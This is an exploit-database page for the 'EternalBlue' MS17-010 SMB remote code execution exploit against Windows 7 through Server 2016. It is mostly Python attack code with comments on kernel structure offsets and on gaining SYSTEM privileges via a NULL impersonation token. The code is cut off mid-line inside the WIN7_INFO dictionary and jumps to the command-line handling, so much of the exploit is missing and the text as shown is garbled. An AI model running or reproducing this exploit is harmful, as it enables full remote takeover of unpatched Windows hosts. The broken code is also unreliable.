Microsoft Windows Windows 7/8.1/2008 R2/2012 R2/2016 R2 - 'EternalBlue' SMB Remote Code Execution (MS17-010)

Properties

Published:
13.07.2017
Target:
Microsoft Windows Windows 7/8.1/2008 R2/2012 R2/2016 R2

Code

#!/usr/bin/python
from impacket import smb, smbconnection
from mysmb import MYSMB
from struct import pack, unpack, unpack_from
import sys
import socket
import time
 
'''
MS17-010 exploit for Windows 7+ by sleepya
 
Note:
- The exploit should never crash a target (chance should be nearly 0%)
- The exploit use the bug same as eternalromance and eternalsynergy, so named pipe is needed
 
Tested on:
- Windows 2016 x64
- Windows 2012 R2 x64
- Windows 8.1 x64
- Windows 2008 R2 SP1 x64
- Windows 7 SP1 x64
- Windows 8.1 x86
- Windows 7 SP1 x86
'''
 
USERNAME = ''
PASSWORD = ''
 
'''
Reversed from: SrvAllocateSecurityContext() and SrvImpersonateSecurityContext()
win7 x64
struct SrvSecContext {
    DWORD xx1; // second WORD is size
    DWORD refCnt;
    PACCESS_TOKEN Token;  // 0x08
    DWORD xx2;
    BOOLEAN CopyOnOpen; // 0x14
    BOOLEAN EffectiveOnly;
    WORD xx3;
    DWORD ImpersonationLevel; // 0x18
    DWORD xx4;
    BOOLEAN UsePsImpersonateClient; // 0x20
}
win2012 x64
struct SrvSecContext {
    DWORD xx1; // second WORD is size
    DWORD refCnt;
    QWORD xx2;
    QWORD xx3;
    PACCESS_TOKEN Token;  // 0x18
    DWORD xx4;
    BOOLEAN CopyOnOpen; // 0x24
    BOOLEAN EffectiveOnly;
    WORD xx3;
    DWORD ImpersonationLevel; // 0x28
    DWORD xx4;
    BOOLEAN UsePsImpersonateClient; // 0x30
}
 
SrvImpersonateSecurityContext() is used in Windows 7 and later before doing any operation as logged on user.
It called PsImperonateClient() if SrvSecContext.UsePsImpersonateClient is true. 
From https://msdn.microsoft.com/en-us/library/windows/hardware/ff551907(v=vs.85).aspx, if Token is NULL,
PsImperonateClient() ends the impersonation. Even there is no impersonation, the PsImperonateClient() returns
STATUS_SUCCESS when Token is NULL.
If we can overwrite Token to NULL and UsePsImpersonateClient to true, a running thread will use primary token (SYSTEM)
to do all SMB operations.
Note: fake Token might be possible, but NULL token is much easier.
'''
WIN7_INFO = {
    'SESSION_SECCTX_OFFSET': 0xa0,
    'SESSION_ISNULL_OFFSET': 0xba,
    'FAKE_SECCTX': pack(' ".format(sys.argv[0]))
    sys.exit(1)
 
target = sys.argv[1]
pipe_name = sys.argv[2]
 
exploit(target, pipe_name)
print('Done')